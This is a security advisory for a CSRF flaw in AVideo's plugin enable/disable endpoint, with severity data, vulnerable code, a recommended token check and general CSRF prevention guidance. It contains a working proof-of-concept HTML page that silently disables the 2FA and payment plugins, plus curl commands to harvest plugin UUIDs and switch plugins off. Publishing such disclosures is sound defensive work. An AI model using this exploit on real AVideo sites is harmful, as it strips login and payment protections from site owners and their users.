GHSA-hqxf-mhfw-rc44 CVE-2026-34613
AVideo: CSRF on Plugin Enable/Disable Endpoint Allows Disabling Security Plugins
- Severity
- 6.5 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.21%
- Chance of exploitation in the next 30 days. Higher than 10.48% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-352 Cross-Site Request Forgery (CSRF)
- Fix
- None yet
- No fixed version published
Description
Summary
The AVideo endpoint objects/pluginSwitch.json.php allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the plugins database table is explicitly listed in ignoreTableSecurityCheck(), which means the ORM-level Referer/Origin domain validation in ObjectYPT::save() is also bypassed. Combined with SameSite=None on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page.
Plugin UUIDs are not secret values. They are hardcoded in the frontend JavaScript source and are consistent across installations, making it trivial for an attacker to target specific plugins.
Details
The objects/pluginSwitch.json.php endpoint checks admin status but performs no CSRF validation:
// objects/pluginSwitch.json.php
if (!User::isAdmin()) {
die('{"error": "Must be admin"}');
}
$obj = new Plugin(0);
$obj->loadFromUUID($_POST['uuid']);
$obj->setStatus($_POST['status']);
$obj->save();
The plugins table is explicitly excluded from the ORM security check at objects/Object.php:529:
// objects/Object.php:529
public static function ignoreTableSecurityCheck() {
return array(
'plugins',
// ... other tables
);
}
This means the save() call does not trigger the Referer/Origin domain validation that normally acts as a secondary CSRF defense for other ORM operations.
Plugin UUIDs are hardcoded in each plugin's getUUID() method and are consistent across all AVideo installations. Examples:
| Plugin | UUID |
|---|---|
| Gallery | a06505bf-3570-4b1f-977a-fd0e5cab205d |
| LoginControl | LoginControl-5ee8405eaaa16 |
| Live | e06b161c-cbd0-4c1d-a484-71018efa2f35 |
| YPTWallet | 2faf2eeb-88ac-48e1-a098-37e76ae3e9f3 |
These are also exposed in frontend JavaScript:
// design_first_page.php:99
var galleryUUID = 'a06505bf-3570-4b1f-977a-fd0e5cab205d';
Proof of Concept
Host the following HTML page on an attacker-controlled domain. This example disables the LoginControl plugin (which provides 2FA and login security enforcement):
<!DOCTYPE html>
<html>
<head><title>AVI-031 PoC - Disable Security Plugin</title></head>
<body>
<h1>Loading content...</h1>
<!-- Disable LoginControl (2FA / brute force protection) -->
<iframe name="f1" style="display:none"></iframe>
<form id="disable1" method="POST" target="f1"
action="https://your-avideo-instance.com/objects/pluginSwitch.json.php">
<input type="hidden" name="uuid" value="LoginControl-5ee8405eaaa16" />
<input type="hidden" name="status" value="inactive" />
</form>
<!-- Disable YPTWallet (subscription/payment enforcement) -->
<iframe name="f2" style="display:none"></iframe>
<form id="disable2" method="POST" target="f2"
action="https://your-avideo-instance.com/objects/pluginSwitch.json.php">
<input type="hidden" name="uuid" value="2faf2eeb-88ac-48e1-a098-37e76ae3e9f3" />
<input type="hidden" name="status" value="inactive" />
</form>
<script>
document.getElementById('disable1').submit();
document.getElementById('disable2').submit();
</script>
</body>
</html>
To find plugin UUIDs on a target instance:
# UUIDs are exposed in the frontend source
curl -s "https://your-avideo-instance.com/" | grep -oP '[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}'
Verification with curl:
# Disable a plugin using an admin session
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
-X POST "https://your-avideo-instance.com/objects/pluginSwitch.json.php" \
-d "uuid=a06505bf-3570-4b1f-977a-fd0e5cab205d&status=inactive"
# Verify the plugin is now inactive
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
"https://your-avideo-instance.com/admin/index.php" | grep -A2 "Gallery"
Impact
An attacker can silently disable any AVideo plugin by luring an authenticated admin to a malicious web page. This has significant security implications because AVideo relies on plugins for critical security functions:
- LoginControl: Provides two-factor authentication and brute force protection. Disabling it removes 2FA for all users and allows unlimited login attempts.
- Subscription/PayPal/Stripe plugins: Enforce payment requirements for premium content. Disabling them grants free access to paid videos.
- Access control plugins: Restrict content visibility. Disabling them exposes private or restricted videos.
The attack is silent (no visible indication to the admin), the plugin UUIDs are public constants, and the SameSite=None cookie policy ensures cross-origin delivery of the admin session.
- CWE-352: Cross-Site Request Forgery
Recommended Fix
Add CSRF token validation at objects/pluginSwitch.json.php:11, after the admin check:
// objects/pluginSwitch.json.php:11
if (!isGlobalTokenValid()) {
forbiddenPage('Invalid CSRF token');
}
Found by aisafe.io
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| wwbn/avideo | <= 26.0 |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Weakness
CWE-352: Cross-Site Request Forgery (CSRF)
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
- Implementation: Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
- Architecture and Design: Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
- Architecture and Design: Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
- Architecture and Design: Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
- Architecture and Design: Do not use the GET method for any request that triggers a state change.
- Implementation: Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7cqp-7cfv-6c3q AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel | Medium | Also affects wwbn/avideo |
| GHSA-wc3f-xc32-435f AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink | High | Also affects wwbn/avideo |
| GHSA-95jh-7r58-xmxw AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data | Medium | Also affects wwbn/avideo |
| GHSA-wf69-r4mx-43rr AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration | High | Also affects wwbn/avideo |
| GHSA-8j8m-p79x-g4jm AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions | Medium | Also affects wwbn/avideo |
| GHSA-8whc-2wmv-ww35 WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin | Critical | Also affects WWBN/AVideo |
| GHSA-66q5-cj5g-wrfx WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section | Medium | Also affects WWBN/AVideo |
| GHSA-hgjh-6wj8-gcgf WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination | Medium | Also affects WWBN/AVideo |
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